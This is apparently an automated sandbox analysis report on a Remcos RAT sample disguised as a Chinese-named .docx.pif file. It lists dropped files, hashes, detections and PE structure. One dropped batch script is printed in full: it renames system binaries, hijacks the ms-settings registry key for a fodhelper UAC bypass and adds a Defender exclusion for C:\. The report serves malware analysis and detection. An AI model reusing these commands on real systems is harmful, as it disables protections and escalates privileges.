SHA-512:	083BBCB16078447954A4689D8FE2D25FF3F3F269490A0CCC5CFA89E1BAEC1B54B94D325B89357DADE45FAE31098C152EE2A53D57089A8F4F266C703D05F7F053
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\gaban\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.0.7./.0.3. .0.2.:.5.7.:.0.0. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.C.o.l.o.u.r. .M.a.n.a.g.e.m.e.n.t.].........[.R.u.n.].........[.S.e.t.t.i.n.g.s.].........[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.C.o.l.o.u.r. .M.a.n.a.g.e.m.e.n.t.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........[.N.e.w. .n.o.t.i.f.i.c.a.t.i.o.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\Public\Libraries\PNO

Download File

Process:	C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:p:p
MD5:	A5EA0AD9260B1550A14CC58D2C39B03D
SHA1:	F0AEDF295071ED34AB8C6A7692223D22B6A19841
SHA-256:	F1B2F662800122BED0FF255693DF89C4487FBDCF453D3524A42D4EC20C3D9C04
SHA-512:	7C735C613ECE191801114785C1EE26A0485CBF1E8EE2C3B85BA1AD290EF75EEC9FEDE5E1A5DC26D504701F3542E6B6457818F4C1D62448D0DB40D5F35C357D74
Malicious:	false
Preview:	1..

C:\Users\Public\Libraries\Pyemdbrd

Download File

Process:	C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
File Type:	data
Category:	dropped
Size (bytes):	803618
Entropy (8bit):	7.398863408633209
Encrypted:	false
SSDEEP:	12288:iUCWyFBzYrow4qyU9IDu94jmPcHhMoJeonoE3HxNnrpEGOFz9cWVAfGWYHW8:iiyF1YroDq92ucmPcHa5o5IFBe+Z
MD5:	93DB1FEB88FB94D374EC047F2A92A473
SHA1:	742BDAFB4F36FAFFEC4D64148872801E0D85004F
SHA-256:	FF6CEDF6A3BD5FB08FB0A3DDA807B9E297F66652C5C237D00716916B5603A87E
SHA-512:	B5094C42D12BFA1CEDEAC22A3AE9E8C137E2714DC414D0627F31CB0D5D49FACF6EF8D0A6D778F81201A03E67642C207B1E9B7C41F739A30E06367D730BCD5F85
Malicious:	true
Preview:	...Y#..K.......#.#.&..."..#.$ ...!..''...%..'&&" .#...$."....Y#..K.&........ ...Y#..K`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuy.hhve\ppg^{regpsswyetxdku..%`...]Y.$hU.hdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdgwhftcuyzhhve\ppg^{regpsswyetxdkuew{`__x]x\thtcshdg

C:\Users\Public\Libraries\Pyemdbrd.PIF

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1085440
Entropy (8bit):	6.781096986708226
Encrypted:	false
SSDEEP:	24576:YgjfgAhthN1aH674weG2Xiou9TBeWyKvBeI+T68sjjX:YUtNCGTBXyKv8vT6r
MD5:	B9DA5A47E1E68EF90C075DC14F8E2037
SHA1:	4AE96232817BF7B3919AA298EFC7C0D18649ED9D
SHA-256:	8DBCCD1C7BDB8DA3A34C2A4AC5C62FB6774CE2ABAC29CAF899039D19A5D27555
SHA-512:	649F021B95B4616EF7F74573F22231E4C9F27BF840EA2CBD13B588698579D4D87FDA2DB521A04FF434E76E928BBFB940AF4547C85F7B578F9585B92902A08F68
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 50%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................................... ....@..............................................@..............................V&.......>...................`...n...........................P......................8................................text............................... ..`.itext...5.......6.................. ..`.data...X.... ......................@....bss.....6...............................idata..V&.......(..................@....tls....4....@...........................rdata.......P......................@..@.reloc...n...`...p..................@..B.rsrc....>.......>...R..............@..@....................................@..@................................................................................................

C:\Users\Public\Libraries\drbdmeyP.pif

Download File

Process:	C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe, Detection: malicious, Browse Filename: PO-MISA-32493.cmd, Detection: malicious, Browse Filename: New PO -39850-1064 -2084-GEN101 -Order,xls.exe, Detection: malicious, Browse Filename: PURCHASE_ORDER.CMD, Detection: malicious, Browse Filename: ProofOfPayment.CMD, Detection: malicious, Browse Filename: Rylorhzz.PIF.exe, Detection: malicious, Browse Filename: PO# 2011-0227160-0365-06-24,xls.exe, Detection: malicious, Browse Filename: ProofOfPayment.CMD, Detection: malicious, Browse Filename: proof.cmd, Detection: malicious, Browse Filename: rINV200495000-PAYORDER0940584.cmd, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\Pyemdbrd.url

Download File

Process:	C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Pyemdbrd.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	99
Entropy (8bit):	4.98891593327246
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMYHt3vsb50IAgv:HRYFVmTWDyz5tfE509gv
MD5:	77E5BC66C26EE0BB84A1DACF4C1EF258
SHA1:	A4992EAF129F9D9162A10A6BC65CA8836AA58A93
SHA-256:	F93B60936204F09F914E8C055E2570BDA112C26C804AD141B150F0306325FBDB
SHA-512:	CD88ACEC0E704B6F9FE82FECD2045A64209EF2748269BF1EC203FB67176B458662F7C1B5020290C9938F57FDA712A73F5D36A80B1DB3972322957A47C2D5D745
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Pyemdbrd.PIF"..IconIndex=17..HotKey=4..

C:\Users\Public\alpha.exe

Download File

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	289792
Entropy (8bit):	6.135598950357573
Encrypted:	false
SSDEEP:	6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
SHA1:	F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
SHA-256:	B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
SHA-512:	99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe, Detection: malicious, Browse Filename: PO-MISA-32493.cmd, Detection: malicious, Browse Filename: New PO -39850-1064 -2084-GEN101 -Order,xls.exe, Detection: malicious, Browse Filename: PURCHASE_ORDER.CMD, Detection: malicious, Browse Filename: ProofOfPayment.CMD, Detection: malicious, Browse Filename: Rylorhzz.PIF.exe, Detection: malicious, Browse Filename: PO# 2011-0227160-0365-06-24,xls.exe, Detection: malicious, Browse Filename: ProofOfPayment.CMD, Detection: malicious, Browse Filename: proof.cmd, Detection: malicious, Browse Filename: SWIFT_COPY20240604.cmd, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

C:\Users\Public\ger.exe

Download File

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	77312
Entropy (8bit):	5.996265028984654
Encrypted:	false
SSDEEP:	1536:/ZsKjopjN/cYXsuMdCAOznsA5q+oxxhRO+sAg9RyTVZiJXpnvo/vrK:FW5nspdCbzpq+iLcqjWXpvo/vm
MD5:	227F63E1D9008B36BDBCC4B397780BE4
SHA1:	C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE
SHA-256:	C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D
SHA-512:	101907B994D828C83587C483B4984F36CAF728B766CB7A417B549852A6207E2A3FE9EDC8EFF5EEAB13E32C4CF1417A3ADCCC089023114EA81974C5E6B355FED9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........................................................r.........Rich............PE..d....6<..........."..........N.................@.............................p......@.....`.......... ..........................................D....P.......@..,............`..D.......T...........................0...............H...x............................text...p........................... ..`.rdata..(........0..................@..@.data...(....0......................@....pdata..,....@......................@..@.rsrc........P.......$..............@..@.reloc..D....`.......,..............@..B........................................................................................................................................................................................................................................................................

C:\Users\Public\xkn.exe

Download File

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xkn.exe.log

Download File

Process:	C:\Users\Public\xkn.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2667
Entropy (8bit):	5.3546132390144345
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6o6+ztYsTzHNpDHmAHKKkWHKmHKe6ftHTHq+0trK7mHKwl9:iqbYqGSI6o9xYsntpDxqKkWqmq1ftzHK
MD5:	A477C52686412872F51E6EADC0EE00E8
SHA1:	97AF03D2CD45488E73DCB72720F6EB704DB687B6
SHA-256:	9478FEA68BD400729D6132BC0D47527BE473E45F64C17C4568F655C188EA3C6A
SHA-512:	BF00A82630532385C5A9E1C7B2B95C6E09AB671E8D59A9129837A763F9A44C654ACE578F15F27A4FEF1CB01A800FAB850A6FAD85272ABB26EFA87442F320A52A
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\0827b790b8e74d0d12643297a812ae07\Microsoft.PowerShell.ConsoleHost.ni.dll",0..3,"System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\27947b366dfb4feddb2be787d72ca90d\System.Management.Automation.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d5

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Users\Public\xkn.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:Nlllulo:NllU
MD5:	1868BD5DBAA1C3487BECA84BADCA4326
SHA1:	CE9229CBD2D84DB536C9BF4CC56A7765433AA956
SHA-256:	014955686776BC8F3512DD1E80A35170C73556A679B8AC33567FEAEB5D11AC70
SHA-512:	A4DE3F82BBD3113F2283E84991442881AC4129273063F81E2FF506051505CC647782FCF609E7B3BDAA8D0E5A8F13852D3637FF78D590467903E54E87E9085450
Malicious:	false
Preview:	@...e.................................~.........................

C:\Users\user\AppData\Local\Temp\D2F6.tmp\D2F7.tmp\D2F8.bat

Download File

Process:	C:\Users\Public\Libraries\drbdmeyP.pif
File Type:	ASCII text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	1827
Entropy (8bit):	4.970079351882489
Encrypted:	false
SSDEEP:	48:zBrqus6bgc8gKLPgH312hwa2/7yIO15dUHQTgGWBnl:9uus6b/8hLPU12hToyIA5dUH0jWBl
MD5:	E62F427202D3E5A3BA60EBE78567918C
SHA1:	6EF0CD5BA6C871815FCEB27FF095A7931452B334
SHA-256:	06BEE225A830EA0E67B91FD7D24280C5315EF82049B25B07C9CFDE4E36A639FF
SHA-512:	E15148BA4099F3B8C73319BE32A5F76226D21E7FB90123BEC68E5106D03B7D3E8AF8CAA0421667920967E8921787BA255DC4BF23D35792BF8E9A20F1E18283C6
Malicious:	true
Preview:	@shift /0..@echo off..C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" >nul 2>nul &..C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows " >nul 2>nul &..C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32" >nul 2>nul &..C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe" >nul 2>nul &..C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe" >nul 2>nul &..C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe" >nul 2>nul &..C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; " >nul 2>nul &..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ieogscvd.21l.psm1

Download File

Process:	C:\Users\Public\xkn.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txw30cbq.i2f.ps1

Download File

Process:	C:\Users\Public\xkn.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows \System32\per.exe

Download File

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	49664
Entropy (8bit):	5.876977574715819
Encrypted:	false
SSDEEP:	768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5:	85018BE1FD913656BC9FF541F017EACD
SHA1:	26D7407931B713E0F0FA8B872FEECDB3CF49065A
SHA-256:	C546E05D705FFDD5E1E18D40E2E7397F186A7C47FA5FC21F234222D057227CF5
SHA-512:	3E5903CF18386951C015AE23DD68A112B2F4B0968212323218C49F8413B6D508283CC6AAA929DBEAD853BD100ADC18BF497479963DAD42DFAFBEB081C9035459
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.-.=.C.=.C.=.C.4...#.C.).F.<.C.).@.?.C.).G.).C.).B.6.C.=.B.O.C.).K.;.C.)..<.C.).A.<.C.Rich=.C.........................PE..d....*}..........."..........D......`..........@............................. ....................... ..........................................h...............X.......................T........................... ...............8................................text.............................. ..`.imrsiv..................................rdata..2&.......(..................@..@.data...............................@....pdata..X...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Users\Public\ger.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.237326145256008
Encrypted:	false
SSDEEP:	3:bqX4LxGT82AGN8cyn:bqX4E8NGN8Rn
MD5:	13015015DD907D28996153DF14881252
SHA1:	532C595BAAE0A027D02D1B28D7B83D57350A310E
SHA-256:	4499283166530CE395CBC12677FEF2BD52759EACDCC5BDDE56C039B1A2E99C0B
SHA-512:	B81FB62AB27E7722BFCB386766FFA1D1EBA05B8B03CD5D2160BB2570F87568381D923AC75017D785E1DEC1685769023727F4280E27C2A69CDE69772CA62E2A92
Malicious:	false
Preview:	The operation completed successfully....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.781096986708226
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe
File size:	1'085'440 bytes
MD5:	b9da5a47e1e68ef90c075dc14f8e2037
SHA1:	4ae96232817bf7b3919aa298efc7c0d18649ed9d
SHA256:	8dbccd1c7bdb8da3a34c2a4ac5c62fb6774ce2abac29caf899039d19a5d27555
SHA512:	649f021b95b4616ef7f74573f22231e4c9f27bf840ea2cbd13b588698579d4d87fda2db521a04ff434e76e928bbfb940af4547c85f7b578f9585b92902a08f68
SSDEEP:	24576:YgjfgAhthN1aH674weG2Xiou9TBeWyKvBeI+T68sjjX:YUtNCGTBXyKv8vT6r
TLSH:	FF357D122140143BCB7377F98B86D6D8B42DED1D1618786E6A973B8B0AF7270F8E505E
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	6c33333333034c70

Static PE Info

General

Entrypoint:	0x461490
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7873f1cee87f668ad79181f1c1cd8f07

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0045DAACh
call 00007F51F8668BC5h
mov eax, dword ptr [004CCCB8h]
mov eax, dword ptr [eax]
call 00007F51F86BAC55h
mov eax, dword ptr [004CCCB8h]
mov eax, dword ptr [eax]
mov edx, 004614F0h
call 00007F51F86BA6DCh
mov ecx, dword ptr [004CCBE0h]
mov eax, dword ptr [004CCCB8h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0045D1D4h]
call 00007F51F86BAC44h
mov eax, dword ptr [004CCCB8h]
mov eax, dword ptr [eax]
call 00007F51F86BACB8h
call 00007F51F8666A43h
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd1000	0x2656	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xdd000	0x33e00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd6000	0x6e90	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd5000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xd1738	0x5f8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5ccfc	0x5ce00	ec0b073cb39ded0e2389db541ea26c95	False	0.525167185397039	data	6.5435496200376555	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x5e000	0x3508	0x3600	46619a1a2848b1dee5a102aa4901d57a	False	0.3472222222222222	data	5.513007867449675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x62000	0x6ae58	0x6b000	2bae7df7f59a3315aaa996408829b936	False	0.5081045560747663	data	6.500873269343917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xcd000	0x36d0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd1000	0x2656	0x2800	eb0b41497509e4cb032aaabec5b8d5c5	False	0.31220703125	data	5.073460051819435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xd4000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xd5000	0x18	0x200	389cffe8a4e7b2fdb439e2e9d918a025	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd6000	0x6e90	0x7000	b338a9383541a38b75a372e3f419e93f	False	0.6334402901785714	data	6.675439498395376	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xdd000	0x33e00	0x33e00	687c4b488cbb2e53b54ede465714b165	False	0.1153379141566265	data	4.711864521160899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xddc0c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xddd40	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xdde74	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xddfa8	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xde0dc	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xde210	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xde344	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0xde478	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xde648	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xde82c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xde9fc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xdebcc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xded9c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
